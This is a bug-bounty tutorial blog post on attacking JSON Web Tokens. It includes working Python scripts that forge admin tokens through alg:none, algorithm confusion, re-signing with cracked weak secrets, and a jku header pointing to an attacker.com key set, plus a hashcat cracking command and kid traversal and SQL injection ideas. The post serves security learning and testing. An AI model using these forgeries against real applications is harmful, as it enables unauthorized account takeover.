Hacking JWTs: A Practical Guide
ToxSec | A Field Manual for Finding Java Web Token Vulnerabilities
TL;DR: JWTs are high-value keys. Break weak algs/keys/claims to mint admin access and pivot to takeover.
0x00 Understanding JWTs and Their Risks
JSON Web Tokens (JWTs) are a standard for stateless authentication, allowing applications to securely transmit claims between parties. While efficient, their security depends entirely on correct implementation. Common mistakes in configuration, key management, or the logic within the token's claims can introduce critical vulnerabilities, often making the token a single point of failure.
0x01 Token Reconnaissance and Analysis
The first step in assessing a JWT is deconstruction. The token is composed of three base64url
-encoded parts: header.payload.signature
. The header and payload can be decoded by anyone to reveal crucial details about the token's implementation, which helps inform the attack strategy.
The following Python script handles the base64url
decoding to inspect the token's contents.
import base64
import json
def decode_jwt_part(part):
# Adjust for base64url padding
rem = len(part) % 4
if rem > 0:
part += '=' * (4 - rem)
return base64.urlsafe_b64decode(part)
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJyb2xlIjoidXNlciJ9.t-p-q4-h-r-s-t"
header, payload, signature = jwt.split('.')
# Decode and inspect the header and payload
decoded_header = json.loads(decode_jwt_part(header))
decoded_payload = json.loads(decode_jwt_part(payload))
print("Header:", decoded_header)
print("Payload:", decoded_payload)
The decoded header specifies the signing algorithm (alg
). An alg
value of none
is a significant finding. Other headers like kid
(Key ID) or jku
(JWK Set URL) are also important, as they can open attack vectors for key manipulation. The payload contains the claims, such as user roles or identifiers. These custom claims (role
, isAdmin
) are often the primary targets for privilege escalation.
0x02 Signature Bypass with alg:none
The most straightforward JWT attack is bypassing the signature validation entirely. The alg:none
vulnerability occurs when a server is configured to accept none
as a valid algorithm. This instructs the server to skip the cryptographic signature check and trust the contents of the payload implicitly.
To exploit this, an attacker modifies a valid token's header to set alg
to none
, alters the payload to escalate privileges, and then re-encodes the token with an empty signature.
import base64
import json
# Original token components
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "user123", "role": "user", "exp": 1672531199}
# Modify for the attack
header["alg"] = "none"
payload["role"] = "admin"
# Re-encode the header and payload
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
# Construct the forged token with an empty signature
forged_token = f"{encoded_header.decode()}.{encoded_payload.decode()}."
print(forged_token)
If the server accepts this token, it will process the modified claims, resulting in a privilege escalation. This is caused by the server's failure to enforce an allowlist of secure algorithms.
0x03 Algorithm Confusion Attacks
This cryptographic attack exploits libraries that don't properly distinguish between asymmetric (RS256) and symmetric (HS256) algorithms. If an application expects a token signed with an RS256 private key but receives one with an alg
of HS256, the verification function may incorrectly use the RS256 public key as the HMAC secret. Since the public key is often publicly available, an attacker can use it to sign malicious tokens. The attack works as follows:
Obtain the server’s RS256 public key.
Craft a new token payload with elevated privileges.
Change the
alg
in the header fromRS256
toHS256
.Sign the new token using HMAC-SHA256, with the public key as the secret.
import jwt # Using the PyJWT library
# Attacker acquires the public key
public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy...
-----END PUBLIC KEY-----"""
# Attacker creates a malicious payload
payload = {
"sub": "attacker",
"role": "admin",
"iat": 1516239022
}
# Forge the token using HS256, with the public key as the secret
forged_token = jwt.encode(
payload,
key=public_key_pem,
algorithm='HS256'
)
print(forged_token)
This vulnerability highlights the need for servers to explicitly specify the expected algorithm during verification, rather than trusting the header.
0x04 Exploiting Weak Keys and kid
Parameter
For symmetric algorithms like HS256, the security of the token depends on the strength of the secret key. Weak, guessable secrets (secret
, password123
, etc.) can be discovered via offline brute-force attacks against a captured token using tools like hashcat
.
# Hashcat can efficiently crack JWT signatures
hashcat -m 16500 your-token-here.txt wordlist.txt
Further vulnerabilities can be introduced through the kid
(Key ID) header. If the server uses the kid
value to retrieve a key from a filesystem or database without sanitization, it can lead to injection attacks. For example, a directory traversal payload in the kid
could point to a predictable, empty file like /dev/null
, making the signing key an empty string. Alternatively, a malicious kid
could contain a SQL injection payload to manipulate the key retrieval query. In both cases, the attacker gains control over the key used for verification.
0x05 Manipulating Claims for Privilege Escalation
Once an attacker can sign tokens, the payload becomes the target. The goal is to modify claims to bypass business logic and authorization controls. The most common attack is changing a role
claim from "user"
to "admin"
or altering the sub
(subject) claim to impersonate a high-privilege user.
Standard claims like exp
(expiration) can also be modified to create indefinitely valid sessions. The process involves decoding a token, modifying the payload claims, and then re-signing it using the compromised key or a signature bypass technique.
import jwt
# Assume the secret key has been compromised
secret = "super_weak_secret"
# A legitimate user's payload
payload = {
"sub": "12345",
"role": "user",
"exp": 1672531199 # Expired
}
# Attacker modifies the payload
payload["sub"] = "1" # Target the admin user
payload["role"] = "admin"
payload["exp"] = 1735689599 # Extend the expiration date
# Re-sign the token with the weak key
forged_token = jwt.encode(
payload,
secret,
algorithm="HS256"
)
print(forged_token)
This attack is effective when the server trusts the claims in a validly signed token without performing additional authorization checks.
0x06: Advanced Attacks: JKU & X5U Injection
The jku
(JWK Set URL) and x5u
(X.509 URL) headers can create a Server-Side Request Forgery (SSRF) vulnerability. These headers instruct the server to fetch the signing key from a remote URL. If the server doesn't restrict which domains it can contact, an attacker can host their own public key and point the jku
header to it. The attack proceeds as follows:
The attacker generates their own public/private key pair.
They host the public key in the JWK format at a URL they control.
They craft a token with a malicious payload and a header pointing the
jku
parameter to their URL.The token is signed with the attacker's private key.
When the server receives this token, it fetches the public key from the attacker's URL and uses it to successfully validate the signature. This allows the attacker to sign any token with any claims they choose.
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
# Attacker generates their own key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
# The attacker would host the corresponding public key at their URL
# Example: [https://attacker.com/malicious-jwks.json](https://attacker.com/malicious-jwks.json)
# Craft the token with a malicious payload and the jku header
malicious_payload = {"user": "admin", "scope": "all"}
headers = {"jku": "[https://attacker.com/malicious-jwks.json](https://attacker.com/malicious-jwks.json)", "kid": "attacker-key-1"}
# Sign the token with the attacker's private key
forged_token = jwt.encode(
malicious_payload,
private_key,
algorithm="RS256",
headers=headers
)
print(forged_token)
This is a critical vulnerability that turns a token feature into a mechanism for complete compromise of the token-signing process.
0x07 Hacking JWT Summary
For the bug bounty hunter, JWTs represent a high-value target because they are the gatekeepers to an application's core logic. Successful exploitation is not just about bypassing a signature; it's about gaining the ability to manipulate the claims that dictate authorization and access. Every JWT you encounter should be subjected to a methodical checklist: test for alg:none
, probe for algorithm confusion, and attempt to brute-force weak HS256 secrets.
Pay close attention to headers that introduce external dependencies, such as kid
and jku
, as they are prime candidates for injection and SSRF. Ultimately, remember that the goal of these attacks is to enable arbitrary payload modification.
A compromised token is a pivot point for privilege escalation, account takeover, and accessing functionality far beyond what was intended. As long as applications rely on complex, state-in-a-token mechanisms, JWTs will remain a rewarding area of focus.
Ready for the next exploit path? Walk through the ToxSec API Testing Guide.
Back to my roots with this one. I was getting questions on JWT so thought a post might help learners!